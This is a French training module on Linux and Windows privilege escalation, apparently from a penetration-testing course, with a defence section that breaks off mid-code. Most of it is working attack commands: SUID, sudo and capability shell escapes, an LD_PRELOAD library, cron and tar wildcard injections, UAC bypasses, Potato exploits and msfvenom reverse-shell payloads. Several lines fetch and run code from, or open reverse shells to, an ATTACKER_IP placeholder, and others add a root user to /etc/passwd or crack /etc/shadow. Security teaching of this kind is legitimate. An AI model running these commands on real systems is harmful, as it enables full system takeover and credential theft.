Module T5 — Terrain

Escalade de Privileges

Apres avoir obtenu un acces initial, il faut monter en puissance. Maitrise les techniques d'escalade de privileges sur Linux et Windows pour passer de simple utilisateur a administrateur ou root.

  • Comprendre la difference entre escalade horizontale et verticale
  • Maitriser l'enumeration systematique sur Linux et Windows
  • Exploiter les erreurs de configuration SUID, sudo et cron sur Linux
  • Exploiter les services mal configures, tokens et DLL hijacking sur Windows
  • Utiliser les outils d'automatisation : LinPEAS, WinPEAS, PowerUp
  • Mettre en place les defenses contre l'escalade de privileges

🔒 T5.1 — Qu'est-ce que l'escalade de privileges ?

L'escalade de privileges (privilege escalation) est une technique qui permet a un attaquant d'obtenir un niveau d'acces superieur a celui initialement accorde. C'est une etape cruciale dans la chaine d'attaque : apres l'acces initial (souvent en tant qu'utilisateur standard), l'objectif est d'atteindre les privileges root (Linux) ou SYSTEM / Administrator (Windows).

Imagine un stagiaire dans une grande entreprise. Il a un badge qui lui ouvre la porte d'entree et son bureau. Un jour, il trouve dans un tiroir mal ferme la cle du coffre-fort du PDG. Avec cette cle, il a acces a tous les documents confidentiels, les comptes bancaires, les plans strategiques. L'escalade de privileges, c'est exactement ca : tu entres avec un acces basique, et tu trouves un moyen d'obtenir les cles du royaume.

Escalade horizontale vs verticale

Escalade verticale (Elevation de privileges)

Tu passes d'un compte a faibles privileges vers un compte a privileges eleves. C'est le scenario classique : utilisateur standard vers root/admin.

  • Utilisateur www-data vers root sur Linux
  • Utilisateur standard vers NT AUTHORITY\SYSTEM sur Windows
  • Exploitation d'un binaire SUID, d'un service mal configure, d'un kernel exploit
Objectif principal en pentest
L'escalade verticale est l'objectif principal lors d'un test d'intrusion. Obtenir root/SYSTEM prouve un impact critique et demontre le risque maximal.

Escalade horizontale (Lateral movement)

Tu passes d'un compte utilisateur vers un autre compte du meme niveau de privileges, mais avec des acces differents.

  • De user1 vers user2 qui a acces a d'autres fichiers
  • Acces au compte d'un administrateur de base de donnees
  • Compromission d'un compte de service ayant acces a des ressources specifiques
Souvent sous-estimee
L'escalade horizontale est souvent un tremplin vers l'escalade verticale. Le compte d'un autre utilisateur peut contenir des credentials ou des acces qui menent a root.

Comparaison horizontale vs verticale

CritereEscalade verticaleEscalade horizontale
DirectionVers le haut (plus de privileges)Laterale (meme niveau)
Objectifroot / SYSTEM / AdministratorAutre utilisateur avec acces differents
Exemple Linuxwww-datarootuser1user2
Exemple WindowsUser → NT AUTHORITY\SYSTEMUser → Admin local d'une autre machine
ImpactControle total du systemeAcces a d'autres ressources/donnees
DetectionSouvent visible dans les logsPlus difficile a detecter
TechniquesSUID, sudo, kernel exploit, tokenPassword reuse, session hijacking

Pourquoi c'est important

L'escalade de privileges est fondamentale pour deux raisons :

  • Pour l'attaquant / pentester : un acces initial en tant qu'utilisateur standard ne suffit pas. Pour exfiltrer des donnees sensibles, installer de la persistance, pivoter vers d'autres machines du reseau, il faut des privileges eleves.
  • Pour le defenseur : comprendre ces techniques permet d'auditer les systemes, de corriger les misconfigurations et de mettre en place des controles qui bloquent l'escalade.
Cadre legal obligatoire
L'escalade de privileges sur un systeme sans autorisation ecrite est un delit penal (articles 323-1 a 323-7 du Code penal). Toujours operer dans un lab personnel, une plateforme CTF ou avec un contrat de pentest signe.

🔎 T5.2 — Enumeration : la cle de l'escalade

Avant de tenter quoi que ce soit, il faut enumerer le systeme de maniere systematique. L'enumeration est la phase la plus importante : elle te permet de decouvrir les vecteurs d'escalade disponibles.

L'enumeration, c'est comme inspecter une maison avant un cambriolage (legal). Tu verifies chaque fenetre, chaque porte, chaque serrure. Tu notes quels volets sont ouverts, quelles portes ne ferment pas bien, ou sont les cameras. Plus tu observes, plus tu trouveras un point d'entree. En privilege escalation, c'est pareil : plus tu enumeres, plus tu trouves de vecteurs d'attaque.

Informations systeme

Enumeration systeme — Linux
# Qui suis-je ?
whoami
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Nom de la machine
hostname

# Informations noyau et OS
uname -a
# Linux webserver 5.15.0-91-generic #101-Ubuntu SMP x86_64

cat /etc/os-release
# NAME="Ubuntu"
# VERSION="22.04.3 LTS (Jammy Jellyfish)"

# Architecture
arch
# x86_64
Enumeration systeme — Windows
:: Qui suis-je ?
whoami
:: corp\jdupont

whoami /priv
:: Affiche les privileges du token actuel

whoami /groups
:: Affiche les groupes de l'utilisateur

:: Informations systeme detaillees
systeminfo
:: Nom du systeme, version, hotfixes installes...

:: Nom de la machine
hostname

Utilisateurs et groupes

Enumeration utilisateurs — Linux
# Lister tous les utilisateurs avec un shell
cat /etc/passwd | grep -v nologin | grep -v false

# Utilisateurs connectes
w
who
last

# Groupes de l'utilisateur courant
groups

# Fichiers accessibles par l'utilisateur
find / -user $(whoami) -type f 2>/dev/null

# Verifier /etc/shadow (lisible ?)
ls -la /etc/shadow
cat /etc/shadow 2>/dev/null
Enumeration utilisateurs — Windows
:: Lister tous les utilisateurs locaux
net user

:: Details d'un utilisateur
net user Administrator

:: Groupes locaux
net localgroup

:: Membres du groupe Administrateurs
net localgroup Administrators

:: Utilisateurs du domaine (si en domaine)
net user /domain

Reseau

Enumeration reseau — Linux
# Interfaces reseau
ip a
ifconfig

# Routes
ip route
route -n

# Connexions actives
ss -tlnp
netstat -tlnp

# Fichiers hosts et resolv.conf
cat /etc/hosts
cat /etc/resolv.conf

# Regles de pare-feu
iptables -L -n 2>/dev/null
Enumeration reseau — Windows
:: Interfaces reseau
ipconfig /all

:: Routes
route print

:: Connexions actives
netstat -ano

:: Regles de pare-feu
netsh advfirewall show allprofiles
netsh firewall show state

:: Partages reseau
net share

Processus et services

Processus — Linux
# Processus en cours d'execution
ps aux
ps -ef

# Processus executes en root
ps aux | grep root

# Services actifs
systemctl list-units --type=service --state=running

# Ports en ecoute et processus associes
ss -tlnp
Processus et services — Windows
:: Processus en cours
tasklist /SVC

:: Services et leur configuration
sc query state= all
wmic service get name,displayname,pathname,startmode

:: Services avec chemin non quote (vecteur d'attaque !)
wmic service get name,pathname | findstr /i /v "C:\Windows"

Logiciels installes

Logiciels — Linux
# Paquets installes (Debian/Ubuntu)
dpkg -l

# Paquets installes (RedHat/CentOS)
rpm -qa

# Version du compilateur (utile pour les kernel exploits)
gcc --version

# Programmes dans /opt, /usr/local
ls -la /opt/
ls -la /usr/local/bin/
Logiciels — Windows
:: Logiciels 32 bits
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

:: Logiciels 64 bits
reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall

:: Programmes installes via WMIC
wmic product get name,version

Outils d'enumeration automatique

OutilOSDescriptionCommande
LinPEAS Linux Enumeration complete avec coloration des vecteurs critiques ./linpeas.sh
WinPEAS Windows Equivalent Windows de LinPEAS .\winPEASx64.exe
linux-exploit-suggester Linux Suggere des kernel exploits en fonction de la version ./linux-exploit-suggester.sh
LinEnum Linux Enumeration classique et rapide ./LinEnum.sh -t
Seatbelt Windows Enumeration de securite Windows (GhostPack) .\Seatbelt.exe -group=all
Transfert et execution de LinPEAS
# Sur la machine attaquante : serveur HTTP
python3 -m http.server 8080

# Sur la cible Linux : telechargement et execution
cd /tmp
wget http://ATTACKER_IP:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt

# Alternative sans ecriture disque (execution en memoire)
curl http://ATTACKER_IP:8080/linpeas.sh | bash
Toujours sauvegarder la sortie
LinPEAS et WinPEAS generent enormement de donnees. Toujours rediriger la sortie vers un fichier avec tee pour pouvoir l'analyser a tete reposee.

🐧 T5.3 — Escalade Linux : techniques classiques

Linux offre de nombreux vecteurs d'escalade de privileges, souvent lies a des erreurs de configuration plutot qu'a des vulnerabilites logicielles. Voici les techniques les plus courantes, de la plus frequente a la plus avancee.

Le bit SUID (Set User ID) permet a un binaire de s'executer avec les privileges de son proprietaire (souvent root), quel que soit l'utilisateur qui le lance. Le bit SGID fait la meme chose avec le groupe.

Trouver les binaires SUID
# Rechercher tous les fichiers SUID
find / -perm -4000 -type f 2>/dev/null

# Rechercher les fichiers SGID
find / -perm -2000 -type f 2>/dev/null

# Les deux en meme temps
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null

# Resultat typique :
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/find          ← SUID sur find = escalade facile !
/usr/bin/vim           ← SUID sur vim = escalade facile !
/usr/bin/python3       ← SUID sur python = game over
/usr/local/bin/backup  ← binaire custom suspect

GTFOBins (gtfobins.github.io) est la reference absolue pour savoir comment exploiter un binaire SUID.

Exploitation de binaires SUID courants
# find avec SUID → shell root
find . -exec /bin/bash -p \;

# python3 avec SUID → shell root
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

# vim avec SUID → shell root
vim -c ':!/bin/bash'

# nmap (anciennes versions) avec SUID
nmap --interactive
!sh

# bash avec SUID → shell root
bash -p

# cp avec SUID → ecraser /etc/passwd
# 1. Generer un hash de mot de passe
openssl passwd -1 -salt hack P@ssw0rd
# $1$hack$WnXQ7S.3p4qG6FJK0fPow/
# 2. Creer un fichier passwd modifie avec un utilisateur root
echo 'hacker:$1$hack$WnXQ7S.3p4qG6FJK0fPow/:0:0:root:/root:/bin/bash' >> /tmp/passwd
# 3. Ecraser /etc/passwd
cp /tmp/passwd /etc/passwd
# 4. Se connecter
su hacker
# Password: P@ssw0rd → root !
Toujours verifier GTFOBins
Avant de tenter quoi que ce soit, cherche le binaire sur GTFOBins. Chaque binaire exploitable a une fiche detaillee avec les commandes exactes a utiliser.

La commande sudo permet a un utilisateur d'executer des commandes avec les privileges d'un autre utilisateur (par defaut root). La configuration se trouve dans /etc/sudoers.

Enumeration sudo
# Lister les privileges sudo de l'utilisateur courant
sudo -l

# Resultat typique :
User www-data may run the following commands on webserver:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/vim
    (ALL) NOPASSWD: /usr/bin/env
    (root) NOPASSWD: /opt/scripts/backup.sh
Exploitation sudo
# sudo find → shell root
sudo find /etc -exec /bin/bash \;

# sudo vim → shell root
sudo vim -c ':!/bin/bash'

# sudo env → shell root
sudo env /bin/bash

# sudo awk → shell root
sudo awk 'BEGIN {system("/bin/bash")}'

# sudo less → shell root
sudo less /etc/hosts
!/bin/bash

# sudo nmap → shell root
sudo nmap --interactive
!sh

# sudo python3 → shell root
sudo python3 -c 'import os; os.system("/bin/bash")'

# sudo perl → shell root
sudo perl -e 'exec "/bin/bash";'

LD_PRELOAD — Technique avancee

Si sudo -l montre env_keep+=LD_PRELOAD, tu peux charger une bibliotheque malveillante.

Exploitation LD_PRELOAD
# 1. Creer la bibliotheque malveillante
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF

# 2. Compiler
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c

# 3. Executer avec sudo et LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/find
# → shell root !
NOPASSWD = danger critique
La directive NOPASSWD dans /etc/sudoers est extremement dangereuse. Elle permet d'executer des commandes en root sans mot de passe. Combinee avec un binaire exploitable, c'est un acces root instantane.

Les taches cron sont des commandes executees automatiquement a intervalles reguliers. Si un cron job root execute un script que tu peux modifier, tu peux injecter du code execute en root.

Enumeration cron
# Crontab systeme
cat /etc/crontab

# Crontab de l'utilisateur courant
crontab -l

# Repertoires cron
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/

# Timers systemd (equivalent moderne)
systemctl list-timers --all

# Surveiller les processus pour detecter les crons
# (outil pspy — pas besoin de root)
./pspy64

Exploitation : script modifiable

Cron job avec script modifiable
# /etc/crontab contient :
# * * * * *  root  /opt/scripts/backup.sh

# Verifier les permissions
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root  ← Writable par tout le monde !

# Injecter un reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh

# Ou ajouter un utilisateur root
echo 'echo "hacker::0:0::/root:/bin/bash" >> /etc/passwd' >> /opt/scripts/backup.sh

# Attendre l'execution du cron (max 1 minute si * * * * *)

Exploitation : PATH manipulation

Manipulation du PATH dans les cron jobs
# /etc/crontab contient :
# PATH=/home/user:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
# * * * * *  root  backup

# Le script "backup" est appele SANS chemin absolu
# Le PATH inclut /home/user en premier !

# Creer un faux "backup" dans /home/user
echo '#!/bin/bash' > /home/user/backup
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup
chmod +x /home/user/backup

# Attendre l'execution du cron
# Puis :
/tmp/rootbash -p
# → shell root !

Si /etc/passwd est modifiable, tu peux ajouter un utilisateur avec UID 0 (root). Si /etc/shadow est lisible, tu peux cracker les hash hors ligne.

Exploitation de /etc/passwd modifiable
# Verifier les permissions
ls -la /etc/passwd
# -rw-rw-rw- 1 root root  ← Writable !

# Generer un hash de mot de passe
openssl passwd -1 -salt xyz password123
# $1$xyz$f3Cq0MbLqJMz1Y8dPk7wH1

# Ajouter un utilisateur root
echo 'hacker:$1$xyz$f3Cq0MbLqJMz1Y8dPk7wH1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd

# Se connecter
su hacker
# Password: password123
# → root !
Exploitation de /etc/shadow lisible
# Verifier les permissions
ls -la /etc/shadow
# -rw-r--r-- 1 root shadow  ← Lisible !

# Copier le contenu
cat /etc/shadow

# Cracker avec John the Ripper
unshadow /etc/passwd /etc/shadow > crackme.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crackme.txt

# Ou avec Hashcat
hashcat -m 1800 shadow_hashes.txt rockyou.txt

Les capabilities sont un mecanisme Linux plus granulaire que SUID. Au lieu de donner tous les privileges root, on donne des capacites specifiques. Mais certaines capabilities sont aussi dangereuses que le SUID root.

Enumeration et exploitation des capabilities
# Lister toutes les capabilities
getcap -r / 2>/dev/null

# Resultat typique :
/usr/bin/python3.10 cap_setuid=ep       ← DANGER !
/usr/bin/ping cap_net_raw=ep            ← Normal
/usr/bin/perl cap_setuid=ep             ← DANGER !
/usr/sbin/tcpdump cap_net_raw=ep        ← Normal

# Exploitation python3 avec cap_setuid
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# → root !

# Exploitation perl avec cap_setuid
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# → root !

# Exploitation ruby avec cap_setuid
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# → root !
Capabilities dangereuses
Les capabilities les plus dangereuses sont : cap_setuid (changer d'UID), cap_setgid (changer de GID), cap_dac_override (ignorer les permissions fichier), cap_sys_admin (operations admin), cap_sys_ptrace (injection dans les processus).

Les exploits noyau exploitent des vulnerabilites dans le kernel Linux lui-meme. C'est souvent la derniere solution quand rien d'autre ne fonctionne, car ils peuvent planter le systeme.

ExploitCVEKernels affectesDescription
Dirty COWCVE-2016-51952.6.22 - 4.8.3Race condition dans copy-on-write
Dirty PipeCVE-2022-08475.8 - 5.16.11Ecriture arbitraire dans les pipes
PwnKitCVE-2021-4034Tous (Polkit)Vuln dans pkexec (Polkit)
Baron SameditCVE-2021-3156sudo 1.8.2 - 1.9.5p1Heap overflow dans sudo
GameOver(lay)CVE-2023-2640Ubuntu (OverlayFS)Vuln dans OverlayFS Ubuntu
Exploitation Dirty Pipe (CVE-2022-0847)
# Verifier la version du kernel
uname -r
# 5.13.0-40-generic  ← Vulnerable !

# Compiler l'exploit
gcc -o dirty_pipe exploit.c
./dirty_pipe /etc/passwd 1 "${openssl_hash}"

# Avec linux-exploit-suggester
./linux-exploit-suggester.sh
# [+] CVE-2022-0847 (DirtyPipe)
#     Details: https://dirtypipe.cm4all.com/
#     Exposure: highly probable
#     Tags: ubuntu=20.04,ubuntu=21.04
#     Download URL: https://haxx.in/files/dirtypipez.c
Kernel exploits = risque de crash
Les kernel exploits sont instables et peuvent provoquer un crash systeme (kernel panic). En pentest reel, toujours prevenir le client et ne les utiliser qu'en dernier recours. Privilegier les misconfigurations (SUID, sudo, cron).

Certains programmes interpretent les noms de fichiers comme des options de ligne de commande. Si un script root utilise un wildcard (*) dans un repertoire ou tu peux creer des fichiers, tu peux injecter des options.

Wildcard injection avec tar
# Un cron job root execute :
# cd /home/user && tar czf /backup/archive.tar.gz *

# Le wildcard (*) va interpreter les noms de fichiers comme des options !

# Creer les fichiers "malveillants"
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/shell.sh
echo "" > "/home/user/--checkpoint=1"
echo "" > "/home/user/--checkpoint-action=exec=bash shell.sh"

# Quand tar s'execute avec *, il verra :
# tar czf /backup/archive.tar.gz --checkpoint=1 --checkpoint-action=exec=bash shell.sh ...
# → Execute shell.sh en tant que root !
Wildcard injection avec chown/chmod
# Si un script root execute : chmod 777 *
# ou : chown user:user *

# Creer un fichier reference symbolique
ln -s /etc/shadow /home/user/shadow_link
echo "" > "/home/user/--reference=shadow_link"

# chown avec --reference va donner les memes permissions
# que le fichier reference

🏳️ T5.4 — Escalade Windows : techniques classiques

Windows offre une surface d'attaque differente de Linux. Les vecteurs d'escalade sont souvent lies aux services, aux tokens, au registre et aux permissions de fichiers.

Quand un chemin de service Windows contient des espaces et n'est pas entre guillemets, Windows tente de resoudre le chemin de maniere ambigue. Cela permet d'injecter un binaire malveillant.

Recherche de services avec chemins non quotes
:: Lister les services avec chemins non quotes
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

:: Avec PowerShell
Get-WmiObject win32_service | Where-Object {
    $_.PathName -notlike "C:\Windows\*" -and
    $_.PathName -notlike '"*' -and
    $_.PathName -like '* *'
} | Select-Object Name, PathName, StartMode

:: Resultat :
:: VulnService  C:\Program Files\Vuln App\Service\vuln.exe  Auto
Exploitation du chemin non quote
:: Le chemin est : C:\Program Files\Vuln App\Service\vuln.exe
:: Windows va essayer dans l'ordre :
::   1. C:\Program.exe
::   2. C:\Program Files\Vuln.exe          ← ICI !
::   3. C:\Program Files\Vuln App\Service\vuln.exe

:: Verifier les permissions d'ecriture
icacls "C:\Program Files\Vuln App\"
:: Si BUILTIN\Users:(W) → on peut ecrire !

:: Placer notre payload
:: msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o Vuln.exe
copy Vuln.exe "C:\Program Files\Vuln App\Vuln.exe"

:: Redemarrer le service (si on a le droit)
sc stop VulnService
sc start VulnService
:: → Reverse shell en tant que SYSTEM !

Permissions faibles sur le binaire du service

Remplacement du binaire de service
:: Verifier les permissions
icacls "C:\Program Files\VulnService\service.exe"
:: BUILTIN\Users:(F)  ← Full control !

:: Sauvegarder l'original
copy "C:\Program Files\VulnService\service.exe" service.bak

:: Remplacer par un payload
copy payload.exe "C:\Program Files\VulnService\service.exe"

:: Redemarrer le service
sc stop VulnService
sc start VulnService

Si la cle de registre AlwaysInstallElevated est activee (valeur = 1) dans HKLM et HKCU, n'importe quel fichier MSI s'installe avec les privileges SYSTEM.

Verification et exploitation AlwaysInstallElevated
:: Verifier les cles de registre
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: Les DEUX doivent etre a 1

:: Generer un MSI malveillant avec MSFVenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi -o evil.msi

:: Installer le MSI (s'execute en SYSTEM)
msiexec /quiet /qn /i evil.msi
:: → Reverse shell en tant que SYSTEM !

Les attaques Potato exploitent le mecanisme d'impersonation de tokens Windows. Si ton compte possede le privilege SeImpersonatePrivilege (cas des comptes de service IIS, SQL, etc.), tu peux obtenir un token SYSTEM.

OutilVersions WindowsMethode
JuicyPotatoWindows 7/8/2008/2012/2016Abus DCOM / MiTM NTLM
RoguePotatoWindows 10/2019OXID resolution via machine distante
PrintSpooferWindows 10/2016/2019Abus du service Print Spooler
GodPotatoWindows 2012 - 2022Fonctionne sur presque tout
SweetPotatoToutes versions recentesCombine plusieurs techniques Potato
Exploitation avec la famille Potato
:: Verifier les privileges
whoami /priv
:: SeImpersonatePrivilege  Enabled  ← BINGO !

:: PrintSpoofer (simple et efficace)
.\PrintSpoofer64.exe -i -c cmd
:: → cmd en tant que SYSTEM

:: JuicyPotato
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tmp\reverse.exe" -t *

:: GodPotato (le plus universel)
.\GodPotato.exe -cmd "cmd /c whoami"
:: NT AUTHORITY\SYSTEM

.\GodPotato.exe -cmd "cmd /c c:\tmp\reverse.exe"
:: → Reverse shell SYSTEM
Quand utiliser les Potato ?
Les attaques Potato fonctionnent quand tu as un shell en tant que compte de service (IIS AppPool, SQL Server, etc.) qui possede SeImpersonatePrivilege. C'est un scenario tres courant lors de l'exploitation d'applications web sur IIS.

Quand un programme Windows charge une DLL, il suit un ordre de recherche specifique. Si tu peux placer une DLL malveillante dans un repertoire prioritaire, elle sera chargee a la place de la DLL legitime.

Ordre de recherche DLL Windows
:: Windows cherche les DLL dans cet ordre :
:: 1. Repertoire de l'application
:: 2. C:\Windows\System32
:: 3. C:\Windows\System
:: 4. C:\Windows
:: 5. Repertoire courant
:: 6. Repertoires dans le PATH

:: Trouver les DLL manquantes avec Process Monitor (ProcMon)
:: Filtrer : Result = NAME NOT FOUND, Path ends with .dll

:: Generer une DLL malveillante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f dll -o hijacked.dll

:: Placer la DLL dans le repertoire de l'application vulnerable
copy hijacked.dll "C:\Program Files\VulnApp\missing.dll"

:: Redemarrer l'application ou le service
:: → La DLL malveillante est chargee → reverse shell

Similaire aux cron jobs Linux, les taches planifiees Windows peuvent etre exploitees si le script execute est modifiable.

Enumeration et exploitation des taches planifiees
:: Lister toutes les taches planifiees
schtasks /query /fo TABLE /nh

:: Details d'une tache specifique
schtasks /query /tn "Backup" /fo LIST /v

:: Chercher les taches avec des scripts modifiables
:: Verifier les permissions du script execute
icacls "C:\Scripts\backup.bat"
:: BUILTIN\Users:(F)  ← Full control !

:: Modifier le script
echo c:\tmp\reverse.exe >> "C:\Scripts\backup.bat"

:: Attendre l'execution de la tache planifiee

:: Avec PowerShell
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} |
    Format-Table TaskName, TaskPath, State

L'UAC (User Account Control) est le mecanisme qui demande confirmation avant d'executer une action en tant qu'administrateur. Plusieurs techniques permettent de le contourner.

UAC Bypass via fodhelper.exe
:: fodhelper.exe est un binaire Microsoft signe qui auto-eleve sans prompt UAC
:: Il lit une cle de registre que l'utilisateur peut modifier

:: 1. Creer la cle de registre
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c c:\tmp\reverse.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f

:: 2. Lancer fodhelper.exe
fodhelper.exe
:: → cmd.exe s'execute en tant qu'administrateur eleve !

:: 3. Nettoyer
reg delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
UAC Bypass via eventvwr.exe
:: eventvwr.exe lit aussi des cles de registre modifiables par l'utilisateur

reg add HKCU\Software\Classes\mscfile\Shell\Open\command /d "cmd.exe /c c:\tmp\reverse.exe" /f
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f

eventvwr.exe
:: → Execution elevee

reg delete HKCU\Software\Classes\mscfile\Shell\Open\command /f
Pre-requis pour le bypass UAC
Le UAC bypass necessite que l'utilisateur courant soit membre du groupe Administrators mais avec un token non-eleve. Si l'utilisateur n'est pas admin, le UAC bypass ne fonctionnera pas.

Le registre Windows contient de nombreuses cles qui peuvent etre exploitees pour l'escalade de privileges, notamment les cles AutoRun et les configurations de services.

Exploitation du registre
:: Chercher les cles AutoRun
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

:: Verifier les permissions de la cle de service
:: Si on peut modifier le chemin ImagePath d'un service...
reg query HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath

:: Modifier le chemin du binaire du service
reg add HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath /t REG_EXPAND_SZ /d "C:\tmp\reverse.exe" /f

:: Redemarrer le service
sc stop VulnService
sc start VulnService

:: Stored credentials dans le registre
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

:: Credentials Autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultPassword"

🔧 T5.5 — Outils d'automatisation

L'enumeration manuelle est essentielle pour comprendre les techniques, mais en pratique, on utilise des outils automatises pour gagner du temps et ne rien oublier.

LinPEAS / WinPEAS

PEASS (Privilege Escalation Awesome Scripts Suite) est la reference incontournable. Developpe par Carlos Polop (createur de HackTricks), ces scripts enumerent des centaines de vecteurs d'escalade et colorent les resultats selon la severite.

Utilisation de LinPEAS
# Transfert via HTTP
python3 -m http.server 8080  # Sur l'attaquant
curl http://ATTACKER_IP:8080/linpeas.sh | bash  # Sur la cible

# Execution avec toutes les verifications
./linpeas.sh -a 2>&1 | tee linpeas.txt

# Execution rapide (sans les checks lents)
./linpeas.sh -s

# Couleurs de LinPEAS :
# ROUGE/JAUNE (RE) → Vecteur d'escalade quasi certain (95%+)
# ROUGE         → Configuration dangereuse
# VERT          → Utilisateurs avec console
# BLEU          → Information utile
# CYAN CLAIR    → Fichier interessant
Utilisation de WinPEAS
:: Execution complete
.\winPEASx64.exe

:: Execution avec logs
.\winPEASx64.exe log

:: Execution d'un module specifique
.\winPEASx64.exe servicesinfo

:: Modules disponibles :
:: systeminfo, userinfo, processinfo, servicesinfo,
:: applicationsinfo, networkinfo, windowscreds, browserinfo,
:: filesinfo, eventsinfo

linux-exploit-suggester / windows-exploit-suggester

Exploit suggesters
# Linux Exploit Suggester
./linux-exploit-suggester.sh
# Analyse uname -a et suggere des kernel exploits

# Linux Exploit Suggester 2 (Python)
python linux-exploit-suggester-2.py

# Windows Exploit Suggester (necessite systeminfo)
# Sur la cible Windows :
systeminfo > sysinfo.txt
# Sur l'attaquant :
python windows-exploit-suggester.py --database 2024-01-15-mssb.xls --systeminfo sysinfo.txt

PowerUp (PowerShell)

PowerUp — Enumeration Windows en PowerShell
# Charger PowerUp en memoire
IEX(New-Object Net.WebClient).downloadString('http://ATTACKER_IP:8080/PowerUp.ps1')

# Ou depuis un fichier
Import-Module .\PowerUp.ps1

# Lancer toutes les verifications
Invoke-AllChecks

# Verifications specifiques
Get-UnquotedService          # Services avec chemins non quotes
Get-ModifiableServiceFile    # Binaires de services modifiables
Get-ModifiableService        # Services modifiables
Get-RegistryAlwaysInstallElevated  # AlwaysInstallElevated
Get-RegistryAutoLogon        # Credentials AutoLogon

# Exploitation automatique
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'P@ss123!'
# → Ajoute un admin local automatiquement

BeRoot

BeRoot — Detection multi-plateforme
# BeRoot pour Linux
python beroot.py

# BeRoot pour Windows
.\beRoot.exe

# Verifie : services, taches planifiees, permissions,
# AlwaysInstallElevated, credentials stockees, etc.

Tableau comparatif des outils

OutilOSLangageAutomatisationExploitationPopularite
LinPEAS Linux Bash Enumeration complete Non (detection uniquement) Tres haute
WinPEAS Windows C# Enumeration complete Non (detection uniquement) Tres haute
PowerUp Windows PowerShell Enumeration ciblee Oui (Invoke-ServiceAbuse) Haute
linux-exploit-suggester Linux Bash Kernel exploits uniquement Non (suggestions) Haute
windows-exploit-suggester Windows Python Exploits systeme Non (suggestions) Moyenne
BeRoot Les deux Python Multi-plateforme Non (detection) Moyenne
Seatbelt Windows C# Audit de securite Non (detection) Haute
Methodologie recommandee
1. Commence par l'enumeration manuelle (comprendre le systeme). 2. Lance LinPEAS/WinPEAS pour une enumeration complete. 3. Utilise les exploit suggesters pour les kernel exploits. 4. Sur Windows, utilise PowerUp pour exploiter automatiquement les services.

🛡️ T5.6 — Se defendre contre l'escalade

Comprendre les techniques d'escalade permet de mieux s'en defendre. Voici les mesures de securite essentielles pour durcir les systemes Linux et Windows.

Principe du moindre privilege

Chaque utilisateur, processus et service ne doit avoir que les privileges strictement necessaires a son fonctionnement. C'est le fondement de la defense contre l'escalade.

Application du moindre privilege — Linux
# Auditer les permissions sudo
visudo
# Remplacer :
# user ALL=(ALL) NOPASSWD: ALL    ← DANGEREUX
# Par :
# user ALL=(ALL) /usr/bin/systemctl restart apache2   ← Specifique

# Ne jamais donner NOPASSWD sauf necessite absolue
# Toujours specifier les commandes exactes autorisees

# Utiliser des comptes de service dedies
useradd -r -s /usr/sbin/nologin service_app
# → Pas de shell interactif = pas d'escalade par ce compte
NOPASSWD: ALL = catastrophe
La ligne user ALL=(ALL) NOPASSWD: ALL dans sudoers est l'equivalent de donner les cles root a un utilisateur. C'est le vecteur d'escalade le plus simple et le plus courant. Ne jamais utiliser cette configuration en production.

Auditer et corriger les SUID / Capabilities

Audit SUID et capabilities
# Lister tous les SUID et comparer avec une baseline
find / -perm -4000 -type f 2>/dev/null > /root/suid_current.txt
diff /root/suid_baseline.txt /root/suid_current.txt

# Retirer le SUID d'un binaire
